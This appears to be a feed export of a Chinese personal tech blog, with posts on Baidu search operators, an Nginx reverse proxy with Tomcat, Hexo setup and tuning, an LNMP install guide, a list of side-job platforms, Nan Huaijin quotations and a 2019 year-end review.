接客不着衣冠；

乞得名花盛开；

飞来家禽自语；

客至汲泉烹茶；

抚琴听者知音。

image-20210630152112570

]]> 随笔 随笔 如何正确的使用百度精准搜索 /2020/06/30/ru-he-zheng-que-de-shi-yong-bai-du-jing-zhun-sou-suo/ 如何正确的使用百度精准搜索

1. 去除广告推荐

推荐使用工具:Adblock Plus 和 AdGuard

也可以使用Stylish的拓展, 搜索Baidu Lite的皮肤

image-20210626140821228

2.精确搜索：双引号

精确搜索，就是在你要搜索的词上，加上双引号，那个 Google 搜索引擎，就会完全的匹配你所要的词

比如搜索：”前端GitHub”

image-20210626141154941

3.站内搜索：site

这是一个比较常用的搜索方法，site 搜索，就是在站内进行搜索.

语法是：site:stackoverflow.com ，其中 site:后面加上你要搜索的网站地址。

一般程序猿解决问题，用 site:stackoverflow.com，大部分解决不了的问题，都会有答案了。

比如在 segmentfault.com 里面搜索：”react打包npm run build生成的文件好大，怎样关掉生成 sourceMap” site:segmentfault.com

image-20210626141348952

除了以上内容之外，还可以在 工具 那里进行筛选，有语言、时间、结果 3 种选项。

img

如果想通过时间筛选出最近的的内容，就可以试试时间的筛选了

img

还可以对结果进行 精确匹配 的筛选

img

4.配符搜索：*

这也是一个比较常用的搜索方法，通常通配符搜索，用在模糊印象的地方比较多。

当我想搜一句歌词，“让我们同步进阶 重生的力量来自真我 战胜可敬的对手 yeah” ，但是前边的 “让我们同步进阶”，就可以用这个方法进行搜索了。搜索 *重生的力量来自真我

就会得到我们想要的结果了：林俊杰唱的《进阶》。

img

5.减号排除，缩小范围：-

当搜索量比较大的时候，使用减号 - 通过减号，能够去掉一些无关的搜索。

比如：全栈修炼 -全栈修炼之路

img

6.文档搜索：filetype

文档搜索命令 filetype，多数情况下用以查找我们所需要的资料，返回的页面是你搜索的文档相应格式。

如搜 JavaScript权威指南（第四版）的 pdf，就是: filetype:pdf JavaScript权威指南（第四版）

img

7.图片搜索

平常在网上考到一张好的图片，可以保持下来，但是由于图片的尺寸过小，或者像素不合适，这个时候，只要用谷歌图片搜索，就能找到许多类似的，或者尺寸清晰度更好的同一张。

img

img

比如我上传了一张 node 的 logo 的图片时，结果如下：

img

8.intitle - 搜索范围限定在网页标题

搜索范围限定在包含 keyword 的网页标题中，这也是最普通的搜索。

intitle: 和后面的关键词之间不要有空格。

例如：

intitle:前端开发

img

对比普通搜索的图，发现搜索到的内容有一点点不一样，但并无太大差别。

9.inurl 搜索范围限定在 url 链接中

搜索范围限定在 url 链接中.

网页 url 中的某些信息，常常有某种有价值的含义。您如果对搜索结果的 url 做某种限定，可以获得良好的效果。

例如：前端教程 inurl:video

查询词 “前端教程” 是可以出现在网页的任何位置，而 “video” 则必须出现在网页 url 中。

img

10.书名号《》

查询词加上书名号《》有两层特殊功能

  • 一是书名号会出现在搜索结果中；
  • 二是被书名号括起来的内容，不会被拆分。

比如：《JavaScript高级程序设计（第4版）》

img

书名号在某些情况下特别有效果，比如查询词为手机，如果不加书名号在很多情况下出来的是通讯工具手机，而加上书名号后，《手机》结果就都是关于电影方面的了。

11.+ 包含特定查询词

查询词用加号 + 语法可以帮您在搜索结果中 必需包含特定的关键词 的所有网页。

例子：全栈工程师 +node

查询词 “全栈工程师” 在搜索结果中，“node” 被必需被包含在搜索结果中。

img

12.Filetype 搜索指定文档格式

查询词用 Filetype 语法可以限定查询词出现在指定的文档中，支持文档格式有 pdf，doc，xls，ppt，rtf。对于找文档资料相当有帮助。

比如：filetype:pdf JavaScript高级程序设计（第4版）

img

不过相对谷歌而已，百度的搜索是把自己的产品，放在前面，见上图，排在前面的都是百度自己的产品，百度文库。

在百度搜索中，其中 site 命令和双引号关键词 " " 这两个命令用得相对较多，也最容易记住。

]]> 搜索引擎 SEO 精准搜索 Nginx反向代理 /2020/06/14/nginx-fan-xiang-dai-li/ Nginx是一款轻量级的Web 服务器/反向代理服务器及电子邮件（IMAP/POP3）代理服务器，并在一个BSD-like 协议下发行。其特点是占有内存少，并发能力强。

Nginx 服务器的反向代理服务是其最常用的重要功能，由反向代理服务也可以衍生出很多与此相关的 Nginx 服务器重要功能，比如后面会介绍的负载均衡。本篇博客我们会先介绍 Nginx 的反向代理，当然在了解反向代理之前，我们需要先知道什么是代理以及什么是正向代理。

1、代理

在Java设计模式中，代理模式是这样定义的：给某个对象提供一个代理对象，并由代理对象控制原对象的引用。

　　可能大家不太明白这句话，在举一个现实生活中的例子：比如我们要买一间二手房，虽然我们可以自己去找房源，但是这太花费时间精力了，而且房屋质量检测以及房屋过户等一系列手续也都得我们去办，再说现在这个社会，等我们找到房源，说不定房子都已经涨价了，那么怎么办呢？最简单快捷的方法就是找二手房中介公司（为什么？别人那里房源多啊），于是我们就委托中介公司来给我找合适的房子，以及后续的质量检测过户等操作，我们只需要选好自己想要的房子，然后交钱就行了。

　　代理简单来说，就是如果我们想做什么，但又不想直接去做，那么这时候就找另外一个人帮我们去做。那么这个例子里面的中介公司就是给我们做代理服务的，我们委托中介公司帮我们找房子。

　　Nginx 主要能够代理如下几种协议，其中用到的最多的就是做Http代理服务器　　

2.正向代理

　　弄清楚什么是代理了，那么什么又是正向代理呢？

　　这里我再举一个例子：大家都知道，现在国内是访问不了 Google的，那么怎么才能访问 Google呢？我们又想，美国人不是能访问 Google吗（这不废话，Google就是美国的），如果我们电脑的对外公网 IP 地址能变成美国的 IP 地址，那不就可以访问 Google了。你很聪明，VPN 就是这样产生的。我们在访问 Google 时，先连上 VPN 服务器将我们的 IP 地址变成美国的 IP 地址，然后就可以顺利的访问了。

　　这里的 VPN 就是做正向代理的。正向代理服务器位于客户端和服务器之间，为了向服务器获取数据，客户端要向代理服务器发送一个请求，并指定目标服务器，代理服务器将目标服务器返回的数据转交给客户端。这里客户端是要进行一些正向代理的设置的。

　　PS：这里介绍一下什么是 VPN，VPN 通俗的讲就是一种中转服务，当我们电脑接入 VPN 后，我们对外 IP 地址就会变成 VPN 服务器的 公网 IP，我们请求或接受任何数据都会通过这个VPN 服务器然后传入到我们本机。这样做有什么好处呢？比如 VPN 游戏加速方面的原理，我们要玩网通区的 LOL，但是本机接入的是电信的宽带，玩网通区的会比较卡，这时候就利用 VPN 将电信网络变为网通网络，然后在玩网通区的LOL就不会卡了（注意：VPN 是不能增加带宽的，不要以为不卡了是因为网速提升了）。

　　可能听到这里大家还是很抽象，没关系，和下面的反向代理对比理解就简单了。　　

3.反向代理

反向代理和正向代理的区别就是：正向代理代理客户端，反向代理代理服务器。

　　反向代理，其实客户端对代理是无感知的，因为客户端不需要任何配置就可以访问，我们只需要将请求发送到反向代理服务器，由反向代理服务器去选择目标服务器获取数据后，在返回给客户端，此时反向代理服务器和目标服务器对外就是一个服务器，暴露的是代理服务器地址，隐藏了真实服务器IP地址。

　　下面我们通过两张图来对比正向代理和方向代理：
　　
　　
　　理解这两种代理的关键在于代理服务器所代理的对象是什么，正向代理代理的是客户端，我们需要在客户端进行一些代理的设置。而反向代理代理的是服务器，作为客户端的我们是无法感知到服务器的真实存在的。

　　总结起来还是一句话：正向代理代理客户端，反向代理代理服务器。

4.Nginx 反向代理

首先：说一下准备工作，最少两个tomcat，另外设置两个域名并解析到本地ip（因为nginx是直接配置域名）

4.1分别设置两个tomcat的/conf/server.xml中的端口号，如下



tomcat1端口号分别设置为: 8001

tomcat2端口号分别设置为：8002

4.2添加测试内容

分别删除目录webapps下所有文件，新建一个文件夹ROOT，并在该目录下新建index.html

内容可以设置为：这里是8001端口。（另一个：这里是8002端口。）

4.3启动两个Tomcat

在这里会出线一个问题不能同时启动两个tomcat

4.4访问下面两个路径

127.0.0.1/8001
NLKMGD.png

127.0.0.1/8002
NLKKPO.png
能够访问到对应的index.html文件就好了。

4.4设置两个域名并解析

修改hosts文件，目的是为了设置2个域名， tomcat1.com和 tomcat2.com并且解析到本地ip：127.0.0.1

路径：C:\Windows\System32\drivers\etc
NLMMT0.png

打开hosts文件，加上（如果修改后无法保存，可以把hosts文件复制到桌面，添加后再替换）

127.0.0.1 123.com
127.0.0.1 1234.com

NLMlkV.png

4.5测试域名解析是否能够访问

输入：123.com/test

NLM2nA.png
输入：1234.com/test
NLMcXd.png

4.6配置反向代理

server {
        listen       80; 
        server_name  123.com;
       
        location  / {
        proxy_pass   http://127.0.0.1:8001/test;
        index  index.html index.htm;
        }
    }
server {
        listen       80;
        server_name  1234.com;
        
        location / {
        proxy_pass   http://127.0.0.1:8002/test;
        index  index.html index.htm;
        }
    }

4.7测试是否配置成功

NLM66H.png
NLMy1e.png

若是测试失败查看端口是否被占用
cmd中输入：netstat -an|find “0:80”

]]> Nginx hexo博客整体性能优化 /2020/05/26/hexo-bo-ke-zheng-ti-xing-neng-you-hua/ hexo博客整体性能优化

1.查找原因

排查原因静态资源耗时较长,

image-20210608101142696

2.解决方式

采用又拍云的云服务,静态资源加速开启最近的技术趋势webp技术

image-20210608112132196

3.成果

响应速度控制在1.1秒

image-20210608112035856

]]> 博客 博客，hexo 在Ubuntu16.04中安装hexo /2020/05/12/zai-ubuntu16-04-zhong-an-zhuang-hexo/ 在Ubuntu16.04中安装hexo出现一系列的问题，总结一下安装hexo的步骤;

首先安装noejs，Ubuntu源中的nodejs时旧版本，所以需要在安装后更新nodejs;

> sudo apt-get install nodejs
sudo apt install nodejs-legacy
sudo apt install npm

更换成淘宝的镜像，否则非常慢

sudo npm config set registry https://registry.npm.taobao.org

可以通过 sudo npm config list 查看是否生效

安装更新版本的工具N

sudo npm install n -g

更新版本

sudo n stable

可以看到有 installed：版号，说明更新成功

安装hexo

sudo npm install -g hexo

]]> Ubuntu 兼职资源总结 /2020/04/03/jian-zhi-zi-yuan-zong-jie/ 兼职资源总结

体力型

如果你想靠自己的体力来获取酬金，你就是属于体力型，比如跑腿、送外卖、送快递、搬砖等等。劳动最光荣，无谓体力还是智力，凭本事挣钱，没什么不好意思的。只要愿意干，就会有收入。

人人跑腿：http://www.renrenrun.com/
爱跑腿：http://www.ipaotui.com/index.php?m=Home&c=IndexFourth&a=runner
美团跑腿：http://i.meituan.com/peisong/
达达骑士：https://www.imdada.cn/transporter/
UU跑腿：https://www.uupt.com/Driver.htm
蜂鸟众包：https://fengniao.ele.me/delivery.html 《手把手教你使用蜂鸟众包》
点我达骑手：https://www.dianwoda.com/rider.html
微差事：http://www.weichaishi.com/customer.php

问卷调查型

通过回答问卷问题，获取一定的积分或金币，积分或金币可兑换现金或礼品。无技术含量，适合新人小白，有时间，有手机就可以做，但性价比不高，而且可能你答了半天得到的结果是“非常抱歉，你不符合本次调查的要求！”，之前全是在浪费时间了。

第一调查网：https://www.1diaocha.com/
集思网：https://www.opinionworld.cn/zh-cn
投吧：https://www.votebar.com/
YouGov：https://china.yougov.com/zh/
爱调查：http://www.52survey.com/
易调网：http://www.yidiao.net/
调研吧：http://www.diaoyanba.com/
K任务：https://www.krenwu.com/

电脑技术型

电脑技术型比较适合会程序设计方面的新手，有些小伙伴可能之前只是自己埋头苦练功法，从未思考过利用自己的电脑技术进行副业赚钱。可以去学院当老师，或者接单赚外快。

51CTO学院：https://edu.51cto.com/lecturer/lectopics?edunav
CSDN学院：https://edu.csdn.net/apply
微擎：https://dev.w7.cc
云沃客：https://www.clouderwork.com/guide/freelancer
开源中国众包：https://zb.oschina.net/services/excellent-dev.html
猿急送：https://www.yuanjisong.com/job
互站网：https://task.huzhan.com
程序员客栈：https://www.proginn.com/job/?from=top_nav
码易众包：https://www.mayigeek.com/tab/taskList?type=&price=&bidEnd=
码市众包：https://codemart.com/projects
解放号：https://www.jfh.com/jfportal/market/index
麦子学院：已倒闭

任务型

任务型，顾名思义，任务比较简单，难度系数低，适合新手小白，但和问卷调查一样，收益有限，略高于问卷类，奶茶自由可实现。
做任务类的副业比较简单，没什么难度，也适合所有人，不过收益也有限，每天能赚个几十块钱。

阿里众包
百度众测
腾讯搜活帮
有道众包
京东微工
爱数众包
龙猫众包
百川任务

设计型

设计型，就是你恰好会PS、CAD、3dmax、AI、AE等设计类软件上有一定的基础和造诣，利用自己的设计作品或签约设计平台来进行副业赚钱。其中包括设计logo、表情包

FOTOR
云琥在线
千图网
昵图网
花瓣网
阿里巴巴矢量图标库
开三云匠网
扁平图标
视觉中国
picpas
海洛创意
东方IC
中国图库
图虫
微信表情开放平台
汇图网
小米主题商店
猪八戒

PPT设计型

换言之，利用自己设计的PPT进行副业赚钱，或者签约PPT设计平台进行副业赚钱。可以出售PPT模板、个人简历模板等。

咸鱼
稻壳儿网
演界网
pptstore
变色龙
脚步网

翻译型

翻译就是通过自己的英语水平，利用自己的翻译能力去换取一定的翻译酬金。一般网站右上角都有加入的途径，看一下对方的需要，一般会有入驻前有测试，也是为了保证译者的质量。

人人译
有道云翻译
Gengo
译喵网
译客
快译网
Fiberead
做到网
我译网

知识付费

如果你在某个细分领域有一定的专业性，可以尝试做自己的个人IP，通过分享自己的课程来赚取一定的副业收入。开课收徒吧老师们

知乎live
唯库
荔枝微课
腾讯课堂
网易云课堂
知识星球
千聊
小鹅通

自媒体

所谓自媒体，就是利用平台来打造个人IP，或者利用平台来赚取平台的流量费用。2020年了，是时候打造一个个人IP了，同时也是复利很强的一种副业模式，但需要你坚持输出，坚持做下去。写作，其实对很多人都没有那么难，尤其对于新手小白，也可以利用自媒体平台打磨自己的技能。

知乎
微信公众号
百家号
企鹅号
大鱼号
今日头条
小红书
趣头条
豆瓣
搜狐号
简书

直播型

直播是通过一定的才艺表演或一定的直播内容产生副业收入，但并不是每个人都需要有一定的才艺的，比如前一段时间比较火的无人直播、睡觉直播。

bilibili，即B站
抖音
快手
全民小视频
腾讯微视
腾讯NOW直播
微信视频号
斗鱼
虎牙

音频型

利用自己的声音开始副业，声音比较好的小伙伴比较适合，很多平台都有入住入口。比如配音、电台主播、有声小说。

喜马拉雅FM
荔枝FM
今日头条音频
配音秀
配音圈

投稿写作类

这个不需要多说，最主要是的是能否坚持，能不能不断去打磨自己的技能，需要有一定的文笔功力。网络小说写作

起点中文网：作家专区
纵横中文网：作家专区
17K小说网：作家专区
晋江文学城：作家专区
创世中文网：作家专区
潇湘书院：作家专区

写手类网站

稿稿
中国赏金写手网
豆瓣稿费银行
天使领域浮云殿
中国写手之家

手机APP平台

网易蜗牛读书
汤圆创作
每天读点故事
壹写作
简书

拆书稿、听书稿
壹心理
慈怀读书会
樊登读书会
有书
365读书
蜗牛读书领读人
十点读书会

各接稿的公众号

懒觉大妈

问答类

通过回答问题来换取平台收入或打造个人IP。

百度知道合伙人
悟空问答
知乎
在行

推广类

这个副业是推荐商品赚取佣金。

淘宝联盟
京东联盟
多多进宝
天眼查推广
大疆联盟

文档类

上传资料到文档，别人下载就能赚取收益。

百度文库
豆丁文库
道客巴巴

拍照类

这个副业主要是拍一些门店或街道，完成任务后获得平台的奖励。

美团拍店
企鹅汇图
高德地图淘金
百度地图淘金

家教类

这个适合有专业技能的大学生或教师的副业，对学历有要求，一般需要本科以上，目前的家教时薪大致在50-200元/时左右。

学而思网校app
海风智学中心app
掌门1对1
作业帮答主
轻轻教育
课桌

二手交易类

买卖二手商品赚钱，或者倒卖商品赚差价钱。

转转
闲鱼
]]> 兼职 南怀瑾经典语录 /2020/03/12/nan-huai-jin-jing-dian-yu-lu/ 南怀瑾经典语录
  • 道为古，儒为表，大度看世界。技在手，能在身，思在脑，从容过生活。

  • 有器度、有见识的人，他虽然从艰苦困难中成长，反而更具有同情心和慷慨好义的胸襟怀抱。因为他懂得人生，知道世情的甘苦。

  • 学问最难是平淡，安于平淡的人，什么事业都可以做。

  • 人生最高境界：佛为心，道为骨，儒为表，大度看世界。技在手，能在身，思在脑，从容过生活。三千年读史，不外功名利禄；九万里悟道，终归诗酒田园。

  • 所以我常告诉青年同学们，一个人先要养成会享受寂寞，那你就差不多了，可以了解人生了，才体会到人生更高远的一层境界。这才会看到鸿福是厌烦的。佛经上说，一个学佛的人，你首先观察他有没有发起厌离心，也就是说厌烦世间的鸿福，对鸿福有厌离心，才是走向学佛之路。

  • 道是天下人的公道。生命的意义不在肉体上，自性是光明的，不要被四大牵着走，不要玩弄四大。

  • 有人指出你的烦恼，指出你的业障和染污的心理，自己还不服气，还不肯改，然后还抱住那习气业力的心理，把它当宝贝。唉！就让你去缠绵吧，反正六道轮回也蛮好玩的，多滚几回，我在那边等你就是。

  • 智慧不是财产或世间福德所能换来的，是要多生累积福德来的。

  • 当年我读四书五经，都是要背的。小朋友们要放学了，心里高兴，一边嘴里唱着一边你推我一下，我推你一把的。这样读书，心里会记住，一辈子忘不了。想起来的时候心里默念一下，其中的道理就又琢磨了一回。

  • 生命就是这样，年年都有个春天，年年也有个冬天，这是生灭两头的现象；念头、细胞乃至一切物质也是有生有灭，永远都是这样。找到了生命能生能灭的根本，叫做成佛，叫证得菩提。……为什么佛教到中国，很容易就被吸收呢？因为中国文化的老祖宗，也讲过这个道理。

  • 你说完没有？换我说了。

  • “投隙抵时，应事无方”这八个字要紧得很！你懂了以后一生妙用无穷…随便到哪里都可以找到工作，大的大做，小的小做你说你是个博士到处找不到工作，现在为了吃饭，有个地方需要一个工友不要说什么博士啊！问你学历，直说我小学毕业问你认不认得字啊？大字认得几个，小字不认得。

  • 人不能没有学问，不能没有知识，仅为了学问而钻到牛角尖里去，又有什么用？像这样的学问，我们不大赞成。

  • 学道要营养好，休息得够，才能用功，人家问我闭关做啥！睡觉。一进关房先睡七八天，以后不要睡了，一坐就用功了。尤其是夜里十一点以后一定要睡觉，烂睡一卧，那才会有精神。

  • 道是天下人的公道。生命 的意义不在肉体上，自性是光明的，不要被四大牵着走，不要玩弄四大。

  • 佛为心，道为骨，儒为表，大度看世界。

  • 秋风落叶乱为堆， 扫去还来千百回。 一笑罢休闲处坐， 任他着地自成灰。

  • 在艰苦中成长成功之人，往往由于心理的阴影，会导致变态的偏差。这种偏差，便是对社会对人们始终有一种仇视的敌意，不相信任何一个人，更不同情任何一个人。爱钱如命的悭吝，还是心理变态上的次要现象。相反的，有器度有见识的人，他虽然从艰苦困难中成长，反而更具有同情心和慷慨好义的胸襟怀抱。因为他懂得人生，知道世情的甘苦。

  • 政治、军事、外交都是没有善恶是非的，只有利害关系。怎么临时处理，要懂得应变。但是要注意，虽然没有善恶是非，都还是有因果的。

  • “终身逌然，不知荣辱之在彼也，在我也”，这就是人生哲学。人为什么要外面人讲你好，你才觉得自己好呢？外面跟我毫不相干，在我自己，我认为好就好，爱笑就笑，爱哭就哭，跟别人毫不相干。

  • 一个人内心没有涵养，就会变成色厉内荏，表面满不在乎，而内心非常空虚。其实，大可不必。一个人好就是好，穷就是穷，痛苦就是痛苦。

  • 这是最好的时代，也是最坏的时代。西方文化的贡献，促进了物质文明的发达，这在表面上来看，可以说是幸福；坏，是指人们为了生存的竞争而忙碌，为了战争的毁灭而惶恐，为了欲海的难填而烦恼。在精神上，是最痛苦的。人类正面临着一个新的危机。

  • “我除了依照佛经以外，拿我几十年摸索的经验，诚恳地告诉各位，你真达到正身、正意，没有一个身体不能转化；没有病去不掉的；没有身心不会健康的。正身、正意做到了，身心两方面绝对地健康，可以返老还童。因为一切唯心所造，这是真的，就是“正身”、“正意”四个字。”

  • 人生的最高境界是佛为心，道为骨，儒为表，大度看世界。技在手，能在身，思在脑，从容过生活。

  • 畏就是敬，人生无所畏，实在很危险。

  • 中国古人不轻易写书写文章。今日很多的文章、戏剧、新闻，写的是社会坏的一面，对小孩子有很坏的影响，这种文字对社会的影响比杀人还厉害。其实写的人未必有心教人学坏，也有写正面的，但是接受的人不看正面。古人对人类这种心理非常了解，所以下笔非常严谨。

  • 有些人日常很忙，注意！赶快多打坐，不要以为忙啊！累啊！没时间。你要赶快坐，坐到能够住气，那么一个钟头下来，一天都用不完，但要真正做到了才行。不过有一点要注意！肠胃要空虚一点。道家两句话：“若要不老，腹中不饱。若要不死，肠内无屎。”当然营养还是要够，肠胃干净，气就容易充实。

  • 天堂固然好，但却有人偏要死也不厌地狱。极乐世界固然使人羡慕，心向往之，但却有人愿意永远沐浴在无边苦海中，以苦为乐。与其舍一而取一，早已背道而驰。不如两两相忘，不执着于真假、善恶、美丑，便可得其道妙而逍遥自在了。

  • 佛学为什么讲无常？因为世界上的事没有永恒的。人的欲望，永远贪求永恒，想永远保持存在，那是永远不可能的，那是笨蛋，是看不清楚的人搞的。所以佛告诉你，积聚必有消散，崇高必有堕落，合会终须别离，……那是必然的道理，这是大原则。

  • 今天的世界惟科技马首是瞻，人格养成没有了，都是乱的不成器的，教育只是贩卖知识，这是根本乱源，是苦恼之源。只有科学、科技、哲学、宗教、文艺、人格养成教育回归一体，回归本位，均衡发展，才有希望。

  • 今日的世界，物质文明发达，在表面上来看，是历史上最幸福的时代；但是人们为了生存的竞争而忙碌，为了战争的毁灭而惶恐，为了欲海的难填而烦恼。在精神上，也可以说是历史上最痛苦的时代。人是莫名其妙的生下来，无可奈何的活着，最后是不知所以然的死掉。”

  • 在艰苦中成长成功之人，往往由于心理的阴影，会导致变态的偏差。这种偏差，便是对社会、对人们始终有一种仇视的敌意，不相信任何一个人，更不同情任何一个人。爱钱如命的悭吝，还是心理变态上的次要现象。相反的，有器度、有见识的人，他虽然从艰苦困难中成长，反而更具有同情心和慷慨好义的胸襟怀抱。因为他懂得人生，知道世情的甘苦。

  • 生命，只在被欲望迷乱了的人心中，才一定要分出尊卑高下。不争，是人生至境。

  • 是医心的，不管西医中医，都只是医身体的。心是个什么东西？思想情绪这个心很难医。我在美国的时候，看到一个日本人画的中国画，非常好。画的是中国大医师唐朝的孙思邈。……我得到孙思邈这幅画，很有感想，就写了一副对联：上联是“ 有药能医龙虎病”，龙王生病了向他求医；老虎生病也向他求医。……下联“ 无方可治众生痴 ”，世界上哪个医生可以把笨蛋的头脑医得聪明起来？所以我说老庄讲的内容，就是医药。所有思想病、政治病、经济病，各种病，在里头提的非常多了，只看大家如何去研究。 释迦牟尼佛的佛法，老庄以及，都是治心的药，也是治心的方法。一般医生能够治身体的病，却不能治心。

  • 世界上任何人，一辈子只做三件事，不是自欺，就是欺人，再不然就是被人欺。你看世界上的人，能不能逃出这三样事？能逃出了这三样的话，就跳出三界外了。

  • 我看你们来学佛学道，年纪轻轻，非常照顾自己，又懒，又不肯助人，但要求起别人却非常严格，看看这个不对、那个也不对，觉得别人都不是圣贤，难道你就是圣贤吗？我看你是“剩闲”，是剩下来没有用的闲人，有你也不多、没你也不少的人。

  • 当将军的五个条件：像牛一样的健壮；像狗一样的下贱；像狐狸一样的狡猾；像猴子一样的精明；像魔鬼一样的魅力。

  • 我们学佛，不但要通达佛经，连世间的一切知识技能也要通，在家是好子女、好父母，在社会是真正有贡献的人，这样可以算学佛。

  • 穷归穷，绝不愁，如果又穷又愁，这就划不来，变成穷愁潦倒就冤得很。

  • 修行就像扫帚一样，心里头杂念都要扫掉，无住相布施，所以无住相这一句话就是扫帚，你心里头什么妄念都要扫掉。

  • 佛学叫这个世界“娑婆世界”，译为“堪忍”，说我们这个世界是缺陷的世界。也说这个世界是缺陷的，让你有钱就不给你学问，有学问就没有钱；给你子孙满堂，就不给你别样了，所以总是有缺陷不圆满的。

  • 三千年读史，不外功名利禄；九万里悟道，终归诗酒田园。 ——《易经》

  • 男人的气质，临危而不惧，途穷而志存；苦难能自立，责任揽自身；怨恨能德报，美丑辩分明；名利甘居后，为理愿驰骋；仁厚纳知己，开明扩胸襟；当机能立断，遇乱能慎行；忍辱能负重，坚忍能守恒；临弱可落泪，对恶敢拼争；功高不自傲，事后常反省；举止终如一，立言必有行。人生最高境界：佛为心，道为骨，儒为表，大度看世界。技在手，能在身，思在脑，从容过生活。三千年读史，不外功名利禄；九万里悟道，终归诗酒田园。

  • 什么叫作魔境界？就是求快乐、求享受、求快感。—— 《易经》

  • 光读正面的历史是不够的，还要看小说。所谓历史，常常人名、地名、时间都是真的，内容不太靠得住；而小说，是人名、地点、时间都是假的，但那个故事却往往是真的。

  • 这是最好的时代，也是最坏的时代。西方文化的贡献，促进了物质文明的发达，这在表面上来看，可以说是幸福；坏，是指人们为了生存的竞争而忙碌，为了战争的毁灭而惶恐，为了欲海的难填而烦恼。在精神上，是最痛苦的。在这物质文明发达和精神生活贫乏的尖锐对比下，人类正面临着一个新的危机。

  • 老实说吧，没有什么脑袋好不好的，是肯用心与不肯用心之故。你把我这句话仔细研究，聪明的人一听就会，就记住了，我笨，我多念一百遍，也成功了。所以“勤能补拙”这四个字要记住。

  • 人有三个基本错误是不能犯的：一是德薄而位尊，二是智小而谋大，三是力小而任重。

  • 夫妇本是前缘，善缘、恶缘，无缘不合。儿女原是宿债，欠债、还债，有债方来。

]]> 经典语录 Linux 搭建 LNMP 环境 /2020/02/17/linux-da-jian-lnmp-huan-jing/ 本教程以 Ubuntu 16.04 操作系统为例讲解如何搭建 LNMP 环境。

1.在操作系统安装完毕后你需要更新下系统，执行

sudo apt-get update && sudo apt-get dist-upgrade

安装 screen

screen 可以创建一个后台会话，将任务放在后台执行，非常适合比如编译软件、编译内核、安装更新等任务。

1.安装

sudo apt-get install screen

2.创建一个会话

screen -S lnmp

下载 LNMP 安装包

可以去这里 下载最新的 lnmp

安装包进行编译安装，或直接在命令行执行如下命令

wget -c http://soft.vpser.net/lnmp/lnmp1.4-full.tar.gz
tar zxvf lnmp1.4-full.tar.gz
cd lnmp1.4-full
./install

执行上面的命令后按照要求输入数据库密码、选择数据库的类型(提供 mysql 和 mariadb ) 以及 PHP 的版本即可进行编译安装。

root@centos:~/lnmp1.4-full# ./install.sh

+------------------------------------------------------------------------+
|          LNMP V1.4 for Ubuntu Linux Server, Written by Licess          |
+------------------------------------------------------------------------+
|        A tool to auto-compile & install LNMP/LNMPA/LAMP on Linux       |
+------------------------------------------------------------------------+
|           For more information please visit https://lnmp.org           |
+------------------------------------------------------------------------+
You have 5 options for your DataBase install.
1: Install MySQL 5.1.73
2: Install MySQL 5.5.56 (Default)
3: Install MySQL 5.6.36
4: Install MySQL 5.7.18
5: Install MariaDB 5.5.56
6: Install MariaDB 10.0.30
7: Install MariaDB 10.1.23
0: DO NOT Install MySQL/MariaDB
Enter your choice (1, 2, 3, 4, 5, 6, 7 or 0): 7 # 选择数据库，部分版本的数据库需要内存大于2G
You will install MariaDB 10.1.23
===========================
Please setup root password of MySQL.(Default password: root) # 设置mysql root 密码
Please enter: 123456@#
MySQL root password: 123456@#
===========================
Do you want to enable or disable the InnoDB Storage Engine? # 是否安装 InnoDB 引擎
Default enable,Enter your choice [Y/n]: y
You will enable the InnoDB Storage Engine
===========================
You have 6 options for your PHP install. # 选择 PHP 版本
1: Install PHP 5.2.17
2: Install PHP 5.3.29
3: Install PHP 5.4.45
4: Install PHP 5.5.38 (Default)
5: Install PHP 5.6.31
6: Install PHP 7.0.21
7: Install PHP 7.1.7
Enter your choice (1, 2, 3, 4, 5, 6 or 7): 7
You will install PHP 7.1.7
===========================
You have 3 options for your Memory Allocator install.
1: Don't install Memory Allocator. (Default)
2: Install Jemalloc
3: Install TCMalloc
Enter your choice (1, 2 or 3): 2
You will install JeMalloc

Press any key to install...or Press Ctrl+c to cancel # 按任意键继续安装

在安装过程中如果你开启了 screen 则可以关闭会话，编译大约需要30分钟左右，如希望查看安装进度，可以再次连接服务器，执行

screen -r lnmp

查看该会话。

安装完毕会提示类似如下的信息

State      Recv-Q Send-Q Local Address:Port               Peer Address:Port
LISTEN     0      128          *:80                       *:*
LISTEN     0      128          *:22                       *:*
LISTEN     0      128         :::22                      :::*
LISTEN     0      128         :::3306                    :::*
Install lnmp takes 59 minutes.
Install lnmp V1.4 completed! enjoy it.

程序会自动开放80 3306端口

]]> 服务器环境 2019总结 /2019/12/30/2019-zong-jie/

1. 总体感受

又到年终，在 2019 年最后一天，回顾今年，仿佛是转眼之间的事。时间像是有加速度，过得越来越快。无法追赶时间，只能写下年终总结，记录今年的痕迹。今年总体来说过得比较平稳，在日常的生活和学习中，开始注重知识、技能的沉淀。有通过读书学习的输入，也有通过 Blog 作为知识的输出。对人生、工作、管理、技术有了更多的思考。

今年的关键词：平稳，沉淀，输出。

2. 成果与感悟

今年主要划分为三个阶段，年初根据项目需要，进行数据集成平台开发， 技术进行博客编写。完成了大部分书籍的阅读。

2.1 成果

主要从两方面总结一下成果：

  • 学习输入

    • 阅读 10 本编程技术类书籍、15 本科普类书籍、8 本经管励志类书籍、17 本人文类书籍。对此，我写了一篇《2019 读过的好书推荐》进行总结。
    • 对 Spring Boot 及 Spring Cloud 有更深入的使用和理解。
    • 对开发规范，敏捷开发流程进行了学习与实践应用。

  • 技术输出

    • 开始用心经营自己的博客及公众号。并输出技术文章 30 篇，在各平台进行发布。
    • 编写 spring boot 及 java 的相关开发技巧文章，同时也是自己使用过程中的总结
    • 开源了自己的一个部署配置工具

      2.2 感悟

      今年有做管理、也有开发，有学习，也有思考，同时有相应的输出，以下几点是我觉得值得记录的点：

  • 费曼学习技巧-有效掌握知识

如何可以更好更快的掌握知识，费曼技巧是好办法，这是我一年来写 blog 得出的结论。以教促学，是学习一门知识的好办法。今年通过博客的形式，达到以教促学的效果，倒逼自己对知识点的系统学习，然后以自己的语言写在 blog 中，并通过示例代码的形式进行实践，加深知识的理解。这样，可以对知识点掌握得更牢固，理解得更深刻。

  • 写作-自我进阶的高效方法

写作是自我进阶的高效方法，这是在看了粥左罗的《学会写作》得出的结论，结合自己的写 blog 体验，得到了很好的契合。确实如作者所说，写作是倒逼成长的绝佳方法，写作是学习效果的放大器，写作是个人能力的放大器，写作是重复销售自己的时间，写作是抗攻击性最强的技能。

进化-构建复杂系统的思维方法
